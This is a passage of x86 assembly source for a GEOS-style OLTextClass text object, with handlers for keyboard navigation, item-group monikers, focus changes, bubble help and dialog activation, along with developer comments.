; oh, C_TAB too.. otherwise TAB in contact card gives a minor ; warning in VisTextClass. So the conclusion.. we cannot do this ; neat optimization -- kho, 9/14/95 ; test dl, mask CF_RELEASE ;ignore releases jnz noNavigate mov di, ds:[si] add di, ds:[di].Gen_offset SBCS < cmp cl, C_ENTER > DBCS < cmp cx, C_SYS_ENTER > jz enterKey SBCS < cmp cl, C_TAB > DBCS < cmp cx, C_SYS_TAB > jnz noNavigate ; if the character is a C_TAB and GTA_USE_TAB_FOR_NAVIGATION ; -> navigate test ds:[di].GTXI_attrs, mask GTA_USE_TAB_FOR_NAVIGATION jnz navigate jmp noNavigate enterKey: ; if the character is a C_ENTER and this we're ; the method stored is 0 -> navigate test ds:[di].GTXI_attrs, mask GTA_SINGLE_LINE_TEXT jz noNavigate ;not single line, no navigate ; or action method ; ; Send CR to action descriptor, telling application to deal with the ; default action request if it wants. ; push cx, dx, bp call UpdateItemGroupIfNeeded ;updates item group if need be mov ax, MSG_GEN_ACTIVATE call ObjCallInstanceNoLock ;send out apply msg, etc. pop cx, dx, bp jmp short navigate noNavigate: mov ax, MSG_META_KBD_CHAR mov di, offset OLTextClass GOTO ObjCallSuperNoLock navigate: mov ax, MSG_META_FUP_KBD_CHAR GOTO VisCallParent OLTextKbdChar endm COMMENT @---------------------------------------------------------------------- ROUTINE: UpdateItemGroupIfNeeded SYNOPSIS: Updates an item group if we're running one. CALLED BY: OLTextKbdChar PASS: *ds:si -- object RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 5/19/92 Initial version ------------------------------------------------------------------------------@ UpdateItemGroupIfNeeded proc near uses si .enter EC < call ECCheckGenTextObject > mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].OLTDI_moreState, mask TDSS_RUNS_ITEM_GROUP jz exit ;not running item grop, exit mov di, ds:[di].VTI_text mov di, ds:[di] SBCS < cmp {char} ds:[di], 0 > DBCS < cmp {wchar} ds:[di], 0 > jz exit mov dx, di mov cx, ds mov ax, ATTR_GEN_TEXT_RUNS_ITEM_GROUP call ObjVarFindData EC < ERROR_NC OL_ERROR ;Should have found data! > mov si, ds:[bx].chunk ;setup to talk to object mov bx, ds:[bx].handle clr bp ;don't need exact match mov ax, MSG_GEN_ITEM_GROUP_SET_MONIKER_SELECTION mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage exit: .leave ret UpdateItemGroupIfNeeded endp COMMENT @---------------------------------------------------------------------- METHOD: OLTextSetFromItemGroup -- MSG_SPEC_TEXT_SET_FROM_ITEM_GROUP for OLTextClass DESCRIPTION: Sets the text object from the moniker of the item passed. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_SPEC_TEXT_SET_FROM_ITEM_GROUP cx - identifier of item group RETURN: nothing ax, cx, dx, bp - destroyed ALLOWED TO DESTROY: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chris 5/19/92 Initial Version ------------------------------------------------------------------------------@ OLTextSetFromItemGroup method dynamic OLTextClass, \ MSG_SPEC_TEXT_SET_FROM_ITEM_GROUP EC < call ECCheckGenTextObject > mov ax, ATTR_GEN_TEXT_RUNS_ITEM_GROUP call ObjVarFindData EC < ERROR_NC OL_ERROR ;Should have found data! > mov bp, si ;save object chunk handle FALL_THRU SetTextFromItem OLTextSetFromItemGroup endm COMMENT @---------------------------------------------------------------------- ROUTINE: SetTextFromItem SYNOPSIS: Sets text based on item's moniker. CALLED BY: OLTextSetFromItemGroup, OLRangeSetFromItemGroup PASS: *ds:si -- text object ds:bx -- far pointer to item group's optr cx -- item identifier RETURN: nothing DESTROYED: something PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 5/19/92 Initial version ------------------------------------------------------------------------------@ SetTextFromItem proc far mov si, ds:[bx].chunk mov bx, ds:[bx].handle ;set up to talk to object mov ax, MSG_GEN_ITEM_GROUP_GET_ITEM_OPTR call CallSaveBp ;item in ^lcx:dx movdw bxsi, cxdx mov ax, MSG_GEN_GET_VIS_MONIKER call CallSaveBp ;returns moniker ^lbx:ax call ObjSwapLock ;now in *ds:ax mov si, ax mov si, ds:[si] ;now pointing at moniker EC < test ds:[si].VM_type, mask VMT_GSTRING > EC < ERROR_NZ OL_ERROR ;shouldn't be a gstring > add si, VM_data + VMT_text ;point at the data ; ; Pointer to source text in ds:si. Let's store the text on the stack, ; then set our text appropriately. bp holds our object handle. ; push si clr cx 10$: inc cx cmp {byte} ds:[si], 0 pushf inc si popf jne 10$ pop si sub sp, cx mov di, sp ;place for text in ss:di push di segmov es, ss ;now es:di push cx rep movsb ;copy the string, including null pop cx ; to stack destination mov si, bp ;restore object chunk handle call ObjSwapUnlock ;text chunk back in ds pop bp ;es:bp <- text mov dx, es ;dx:bp <- text push cx clr cx ;null terminated mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR call ObjCallInstanceNoLock ;do it pop cx add sp, cx ;restore stack ret SetTextFromItem endp CallSaveBp proc near push bp mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage pop bp ret CallSaveBp endp COMMENT @---------------------------------------------------------------------- FUNCTION: OLTextActivateObjectWithMnemonic -- MSG_SPEC_ACTIVATE_OBJECT_WITH_MNEMONIC handler DESCRIPTION: Looks at its vis moniker to see if its mnemonic matches that key currently pressed. PASS: *ds:si = instance data for object ax = MSG_SPEC_ACTIVATE_OBJECT_WITH_MNEMONIC cx = charValue dl = CharFlags CF_RELEASE - set if release CF_STATE - set if shift, ctrl, etc. CF_TEMP_ACCENT - set if accented char pending dh = ShiftState bp low = ToggleState (unused) bp high = scan code (unused) RETURN: carry set if found, clear otherwise DESTROYED: bx, si, di, ds, es PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 1/92 Initial version ------------------------------------------------------------------------------@ OLTextActivateObjectWithMnemonic method OLTextClass, \ MSG_SPEC_ACTIVATE_OBJECT_WITH_MNEMONIC call VisCheckIfFullyEnabled jnc noActivate ;XXX: skip if menu? call VisCheckMnemonic jnc noActivate ; ; mnemonic matches, grab focus ; call MetaGrabFocusExclLow stc ;handled jmp short exit noActivate: ; ; let superclass call children, since either were are not fully ; enabled, or our mnemonic doesn't match, superclass won't be ; activating us, just calling our children ; mov ax, MSG_SPEC_ACTIVATE_OBJECT_WITH_MNEMONIC mov di, offset OLTextClass call ObjCallSuperNoLock exit: Destroy ax, cx, dx, bp ret OLTextActivateObjectWithMnemonic endm COMMENT @---------------------------------------------------------------------- METHOD: OLTextFindKbdAccelerator -- MSG_GEN_FIND_KBD_ACCELERATOR for OLTextClass DESCRIPTION: Finds the kbd accelerator and gives the text object the focus. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_GEN_FIND_KBD_ACCELERATOR RETURN: nothing ax, cx, dx, bp - destroyed ALLOWED TO DESTROY: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chris 8/26/93 Initial Version ------------------------------------------------------------------------------@ OLTextFindKbdAccelerator method dynamic OLTextClass, \ MSG_GEN_FIND_KBD_ACCELERATOR mov di, ds:[si] add di, ds:[di].Gen_offset test ds:[di].GI_states, mask GS_ENABLED jz exit ;exit if disabled, carry clear ; ; Check for a keyboard accelerator. ; call GenCheckKbdAccelerator ;check kbd accelerator jnc exit ;nothing found, exit call MetaGrabFocusExclLow ; ; Grab focus on view too, if needed. (cbh 9/22/93) ; mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].OLTDI_specState, mask TDSS_IN_VIEW jz 10$ mov si, ds:[di].OLTDI_viewObj tst si jz 10$ call MetaGrabFocusExclLow 10$: stc ;handled exit: ret OLTextFindKbdAccelerator endm COMMENT @---------------------------------------------------------------------- METHOD: OLTextGainedFocusExcl -- MSG_META_GAINED_FOCUS_EXCL for OLTextClass DESCRIPTION: Handles gained focus. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_META_GAINED_FOCUS_EXCL ^lcx:dx - OD of object which has lost focus exclusive RETURN: nothing DESTROYED: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 2/22/90 Initial version ------------------------------------------------------------------------------@ OLTextGainedFocusExcl method OLTextClass, MSG_META_GAINED_FOCUS_EXCL ; HACK! due to lack of HINT_DEFAULT_TARGET handling ; mov ax, MSG_META_GRAB_TARGET_EXCL call ObjCallInstanceNoLock mov cx, SVQT_TAKE_DEFAULT_EXCLUSIVE call OLTextChangeAlterExclIfSingleLineDefault if PARENT_CTRLS_INVERTED_ON_CHILD_FOCUS mov cx, MSG_META_GAINED_SYS_FOCUS_EXCL mov dx, 1 or (1 shl 8) mov ax, MSG_SPEC_NOTIFY_CHILD_CHANGING_FOCUS call VisCallParent endif ret OLTextGainedFocusExcl endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextGainedSysFocusExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: redraw text display to show focus change redraw text display to show clipped text CALLED BY: MSG_META_GAINED_SYS_FOCUS_EXCL, MSG_META_LOST_SYS_FOCUS_EXCL PASS: *ds:si = OLTextClass object ds:di = OLTextClass instance data ds:bx = OLTextClass object (same as *ds:si) es = segment of OLTextClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 7/22/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if TEXT_DISPLAY_FOCUSABLE or CLIP_SINGLE_LINE_TEXT OLTextGainedLostSysFocusExcl method dynamic OLTextClass, MSG_META_GAINED_SYS_FOCUS_EXCL, MSG_META_LOST_SYS_FOCUS_EXCL if CLIP_SINGLE_LINE_TEXT mov bx, ax ; save msg endif mov di, offset OLTextClass call ObjCallSuperNoLock if CLIP_SINGLE_LINE_TEXT ; ; if display object, redraw to show focus state ; mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].OLTDI_specState, mask TDSS_EDITABLE jz redraw ; not editable, just redraw to show focus state ; (no need to check TDSS_FOCUSABLE as we ; acutally gaining/losing focus) ; ; if single-line editable object, and lost focus, and overflow, ; scroll to beginning then redraw to show clipping ; test ds:[di].VTI_state, mask VTS_ONE_LINE jz done push bx ; save message call CheckTextOverflow pop bx ; bx = message jnc done ; no scrolling needed clr cx ; scroll from start cmp bx, MSG_META_LOST_SYS_FOCUS_EXCL je scrollAndRedraw ; ; gained focus, just ensure selection (or cursor) is visible ; mov cx, ds:[di].VTI_cursorPos.P_x scrollAndRedraw: add cx, ds:[di].VI_bounds.R_left add cx, ds:[di].VTI_leftOffset add cl, ds:[di].VTI_lrMargin adc ch, 0 ; show left edge mov ax, MSG_VIS_TEXT_SCROLL_ONE_LINE call ObjCallInstanceNoLock else ; ; if text display object, show new focus state ; mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].VTI_state, mask VTS_EDITABLE jnz done endif ; CLIP_SINGLE_LINE_TEXT redraw:: if TEXT_DISPLAY_FOCUSABLE ; ; if we are in a view, tell view to redraw, as it shows focus for us ; push si mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].OLTDI_specState, mask TDSS_IN_VIEW jz notInView mov si, ds:[di].OLTDI_viewObj ; *ds:si = view notInView: mov ax, MSG_VIS_REDRAW_ENTIRE_OBJECT call ObjCallInstanceNoLock pop si else mov ax, MSG_VIS_REDRAW_ENTIRE_OBJECT call ObjCallInstanceNoLock endif if CLIP_SINGLE_LINE_TEXT and BUBBLE_HELP ; ; if clipped display object, show bubble text on gained focus ; close bubble text on lost focus ; call OLTextDoBubbleText endif done: ret OLTextGainedLostSysFocusExcl endm endif ; TEXT_DISPLAY_FOCUSABLE or CLIP_SINGLE_LINE_TEXT COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextGainedSysFocusExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: set floating keyboard type CALLED BY: MSG_META_GAINED_SYS_FOCUS_EXCL PASS: *ds:si = OLTextClass object ds:di = OLTextClass instance data ds:bx = OLTextClass object (same as *ds:si) es = segment of OLTextClass ax = message # RETURN: nothing DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 11/13/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _DUI if TEXT_DISPLAY_FOCUSABLE or CLIP_SINGLE_LINE_TEXT PrintMessage <TEXT_DISPLAY_FOCUSABLE or CLIP_SINGLE_LINE_TEXT not supported for DUI> endif OLTextGainedSysFocusExcl method dynamic OLTextClass, MSG_META_GAINED_SYS_FOCUS_EXCL .enter ; ; call superclass for default handling ; mov di, offset OLTextClass call ObjCallSuperNoLock ; ; set keyboard type, if doing keyboard ; call CheckIfKeyboardRequired jnc done call SetKeyboardType done: .leave ret OLTextGainedSysFocusExcl endm endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextDoBubbleText %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: handle bubble text CALLED BY: OLTMetaGainedLostSysFocusExcl PASS: *ds:si = OLText bx = MSG_META_GAINED/LOST_SYS_FOCUS_EXCL RETURN: nothing DESTROYED: ax, bx, cx, dx, di, bp, es SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 8/ 5/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if CLIP_SINGLE_LINE_TEXT and BUBBLE_HELP OLTextDoBubbleText proc near push ds mov di, segment olBubbleOptions mov ds, di mov bp, ds:[olBubbleDisplayTime] ; bp = time out test ds:[olBubbleOptions], mask BO_DISPLAY pop ds jz done mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].VTI_state, mask VTS_EDITABLE jnz done test ds:[di].OLTDI_moreState, mask TDSS_CLIPPED jz done cmp bx, MSG_META_GAINED_SYS_FOCUS_EXCL jne lostFocus mov cx, ds mov di, ds:[di].VTI_text mov dx, ds:[di] ; cx:dx = text mov ax, TEMP_OL_TEXT_BUBBLE_TEXT mov bx, MSG_OL_TEXT_BUBBLE_TIME_OUT call OpenCreateBubbleHelp jmp short done lostFocus: mov ax, TEMP_OL_TEXT_BUBBLE_TEXT call OpenDestroyBubbleHelp done: ret OLTextDoBubbleText endp endif ; CLIP_SINGLE_LINE_TEXT and BUBBLE_HELP COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextBubbleTimeOut %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: bubble text time out, close bubble text CALLED BY: MSG_OL_TEXT_BUBBLE_TIME_OUT PASS: *ds:si = OLTextClass object ds:di = OLTextClass instance data ds:bx = OLTextClass object (same as *ds:si) es = segment of OLTextClass ax = message # RETURN: nothing DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 9/27/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if CLIP_SINGLE_LINE_TEXT and BUBBLE_HELP OLTextBubbleTimeOut method dynamic OLTextClass, MSG_OL_TEXT_BUBBLE_TIME_OUT mov ax, TEMP_OL_TEXT_BUBBLE_TEXT call ObjVarFindData jnc done mov ds:[bx].BHD_timer, 0 call OpenDestroyBubbleHelp done: ret OLTextBubbleTimeOut endm endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextExposed %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: update bubble text CALLED BY: MSG_META_EXPOSED PASS: *ds:si = OLTextClass object ds:di = OLTextClass instance data ds:bx = OLTextClass object (same as *ds:si) es = segment of OLTextClass ax = message # cx = window RETURN: nothing DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 8/ 5/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if CLIP_SINGLE_LINE_TEXT and BUBBLE_HELP OLTextExposed method dynamic OLTextClass, MSG_META_EXPOSED mov di, cx call GrCreateState call GrBeginUpdate mov ax, TEMP_OL_TEXT_BUBBLE_TEXT call ObjVarFindData jnc endUpdate push si mov si, ds:[bx].BHD_borderRegion mov si, ds:[si] clr ax, bx call GrDrawRegion pop si mov si, ds:[si] add si, ds:[si].Vis_offset mov bx, ds:[si].VTI_text tst bx jz endUpdate mov si, ds:[bx] ; ds:si = text mov ax, BUBBLE_HELP_TEXT_X_MARGIN mov bx, BUBBLE_HELP_TEXT_Y_MARGIN clr cx call GrDrawText endUpdate: call GrEndUpdate GOTO GrDestroyState OLTextExposed endm endif ; CLIP_SINGLE_LINE_TEXT and BUBBLE_HELP COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextScreenUpdate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: If text is redrawn, update bubble text CALLED BY: MSG_VIS_TEXT_SCREEN_UPDATE PASS: *ds:si = OLTextClass object ds:di = OLTextClass instance data ds:bx = OLTextClass object (same as *ds:si) es = segment of OLTextClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 1/ 2/97 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if CLIP_SINGLE_LINE_TEXT and BUBBLE_HELP OLTextScreenUpdate method dynamic OLTextClass, MSG_VIS_TEXT_SCREEN_UPDATE ; ; let superclass do the update ; mov di, offset OLTextClass call ObjCallSuperNoLock ; ; update bubble text, if active ; mov ax, TEMP_OL_TEXT_BUBBLE_TEXT call ObjVarFindData jnc done ; ; bring down bubble text ; mov bx, MSG_META_LOST_SYS_FOCUS_EXCL call OLTextDoBubbleText ; ; put up bubble text (restarts timer, oh well...) ; mov bx, MSG_META_GAINED_SYS_FOCUS_EXCL call OLTextDoBubbleText done: ret OLTextScreenUpdate endm endif ; CLIP_SINGLE_LINE_TEXT and BUBBLE_HELP COMMENT @---------------------------------------------------------------------- METHOD: OLTextLostFocusExcl -- MSG_META_LOST_FOCUS_EXCL for OLTextClass DESCRIPTION: Gives up the default if we took it earlier. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_META_LOST_FOCUS_EXCL RETURN: DESTROYED: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 2/22/90 Initial version ------------------------------------------------------------------------------@ OLTextLostFocusExcl method OLTextClass, MSG_META_LOST_FOCUS_EXCL mov cx, SVQT_RELEASE_DEFAULT_EXCLUSIVE call OLTextChangeAlterExclIfSingleLineDefault if PARENT_CTRLS_INVERTED_ON_CHILD_FOCUS mov cx, MSG_META_LOST_SYS_FOCUS_EXCL mov dx, 1 or (1 shl 8) mov ax, MSG_SPEC_NOTIFY_CHILD_CHANGING_FOCUS call VisCallParent endif ret OLTextLostFocusExcl endm OLTextChangeAlterExclIfSingleLineDefault proc far if not GEN_VALUES_ARE_TEXT_ONLY mov di, ds:[si] ;point to instance add di, ds:[di].Gen_offset ;ds:[di] -- GenInstance test ds:[di].GTXI_attrs, mask GTA_SINGLE_LINE_TEXT else mov di, ds:[si] ;point to instance add di, ds:[di].Vis_offset ;ds:[di] -- GenInstance test ds:[di].VTI_state, mask VTS_ONE_LINE endif jz keepDefaultHere ;not single line, keep default ; here, rather than on some ; reply bar button 2/ 9/93 cbh mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].OLTDI_moreState, \ mask TDSS_DEFAULT_ACTION_IS_NAVIGATE_TO_NEXT_FIELD jz exit ;no need to take/release default keepDefaultHere: mov ax, MSG_VIS_VUP_QUERY mov bp, ds:[LMBH_handle] ;pass ^lbp:dx = this object mov dx, si call VisCallParent exit: ret OLTextChangeAlterExclIfSingleLineDefault endp COMMENT @---------------------------------------------------------------------- METHOD: OLTextActivate -- MSG_GEN_ACTIVATE for OLTextClass DESCRIPTION: Activates the text object. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_GEN_ACTIVATE RETURN: nothing DESTROYED: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 2/22/90 Initial version ------------------------------------------------------------------------------@ OLTextActivate method OLTextClass, MSG_GEN_ACTIVATE EC < call ECCheckGenTextObject > mov cx, -1 mov ax, MSG_GEN_TEXT_SEND_STATUS_MSG call ObjCallInstanceNoLock ; ; If we're in delayed mode, send an apply and mark the dialog as ; applyable. There shouldn't be a reason to mark a non-delayed dialog ; as applyable, so I've changed the code. ; mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].OLTDI_moreState, mask TDSS_DELAYED ; jnz makeApplyable ;in delayed mode, branch jnz exit ;in delayed mode, exit mov ax, MSG_GEN_APPLY ;else send an apply to ourselves ; ; Changed to not use a call here, to match what the GenTrigger does. ; It appears that when an item group runs something in the UI queue ; the action takes place before we return here, causing annoying ; delays in updating the item group and its menu, and causing bugs ; when the action disables its popup list if it has one. -2/ 6/93 cbh ; mov bx, ds:[LMBH_handle] mov di, mask MF_FORCE_QUEUE or mask MF_INSERT_AT_FRONT or \ mask MF_FIXUP_DS call ObjMessage ;Shouldn't have to make applyable. If the user dirtied the text, it's ;already happened, and otherwise it shouldn't. -cbh 9/ 8/92 ; jmp short exit ;exit now, don't need applyable ; ;makeApplyable: ; mov ax, MSG_OL_VUP_MAKE_APPLYABLE ; call VisCallParent ;does not trash BX exit: ret OLTextActivate endm COMMENT @---------------------------------------------------------------------- METHOD: OLTextGenMakeApplyable -- MSG_GEN_MAKE_APPLYABLE for OLTextClass DESCRIPTION: Makes the dialog box applyable if needed. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_GEN_MAKE_APPLYABLE RETURN: nothing ax, cx, dx, bp - destroyed ALLOWED TO DESTROY: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chris 2/ 1/93 Initial Version ------------------------------------------------------------------------------@ OLTextGenMakeApplyable method dynamic OLTextClass, \ MSG_GEN_MAKE_APPLYABLE ; ; Not a property, do not make dialog boxes applyable! ; test ds:[di].OLTDI_moreState, mask TDSS_DELAYED jz exit ; ; Send straight to view if we're in one. We may be getting this ; before we're fully opened. -cbh 2/18/93 ; test ds:[di].OLTDI_specState, mask TDSS_IN_VIEW jz callParent mov si, ds:[di].OLTDI_viewObj callParent: call VisCallParentEnsureStack exit: ret OLTextGenMakeApplyable endm COMMENT @---------------------------------------------------------------------- MESSAGE: OLTextEmptyStatusChanged -- MSG_META_TEXT_EMPTY_STATUS_CHANGED for OLTextClass DESCRIPTION: Handle ATTR_GEN_TEXT_SET_OBJECT_ENABLED_WHEN_TEXT_EXISTS PASS: *ds:si - instance data es - segment of OLTextClass ax - The message cx:dx - text object (this object) bp - non-zero if text is becoming non-empty RETURN: DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 8/20/92 Initial version ------------------------------------------------------------------------------@ OLTextEmptyStatusChanged method dynamic OLTextClass, MSG_META_TEXT_EMPTY_STATUS_CHANGED EC < call ECCheckGenTextObject > push ax, cx, dx, si, bp mov ax, ATTR_GEN_TEXT_SET_OBJECT_ENABLED_WHEN_TEXT_EXISTS call ObjVarFindData jnc toSuper ; ds:bx is object to change -- if handle 0 then same block mov si, ds:[bx].chunk mov bx, ds:[bx].handle tst bx jnz 10$ mov bx, ds:[LMBH_handle] 10$: mov ax, MSG_GEN_SET_ENABLED tst bp jnz 20$ mov ax, MSG_GEN_SET_NOT_ENABLED 20$: mov dl, VUM_NOW mov di, mask MF_FIXUP_DS call ObjMessage toSuper: pop ax, cx, dx, si, bp mov di, offset OLTextClass GOTO ObjCallSuperNoLock OLTextEmptyStatusChanged endm GadgetCommon ends ;-------------------- CommonFunctional segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTextStartSelect %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: override default VisTextClass behavior, allow giving focus to text display object CALLED BY: MSG_META_START_SELECT PASS: *ds:si = OLTextClass object ds:di = OLTextClass instance data ds:bx = OLTextClass object (same as *ds:si) es = segment of OLTextClass ax = message # RETURN: ax = MouseReturnFlags DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 7/22/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if TEXT_DISPLAY_FOCUSABLE or SHORT_LONG_TOUCH OLTextStartSelect method dynamic OLTextClass, MSG_META_START_SELECT mov di, offset OLTextClass call ObjCallSuperNoLock if SHORT_LONG_TOUCH mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].OLTDI_specState, mask TDSS_EDITABLE jnz noTouch test ds:[di].OLTDI_moreState, mask TDSS_FOCUSABLE jz noTouch ; If selectable, then VisText will take gadget and grab mouse. test ds:[di].OLTDI_moreState, mask TDSS_SELECTABLE jnz startTouch push ax mov ax, MSG_VIS_TAKE_GADGET_EXCL mov cx, ds:[LMBH_handle] mov dx, si call VisCallParent call VisGrabMouse ; ~selectable, grab mouse here pop ax startTouch: call StartShortLongTouch noTouch: endif if TEXT_DISPLAY_FOCUSABLE mov di, ds:[si] add di, ds:[di].Vis_offset test ds:[di].OLTDI_moreState, mask TDSS_SELECTABLE jnz done test ds:[di].OLTDI_moreState, mask TDSS_FOCUSABLE jz done push ax mov ax, MSG_META_GRAB_FOCUS_EXCL call ObjCallInstanceNoLock pop ax endif done: ret OLTextStartSelect endm endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLTVisTextModifyEditableSelectable %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: update our flags, as well CALLED BY: MSG_VIS_TEXT_MODIFY_EDITABLE_SELECTABLE PASS: *ds:si = OLTextClass object ds:di = OLTextClass instance data ds:bx = OLTextClass object (same as *ds:si) es = segment of OLTextClass ax = message # cl = VisTextStates to set ch = VisTextStates to clear RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- edwin 12/12/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if TEXT_DISPLAY_FOCUSABLE or _ISUI OLTVisTextModifyEditableSelectable method dynamic OLTextClass, MSG_VIS_TEXT_MODIFY_EDITABLE_SELECTABLE .enter ; ; call superclass for default handling ; mov di, offset OLTextClass call ObjCallSuperNoLock ; ; update our flags ; mov di, ds:[si] add di, ds:[di].Vis_offset andnf ds:[di].OLTDI_moreState, not mask TDSS_SELECTABLE test 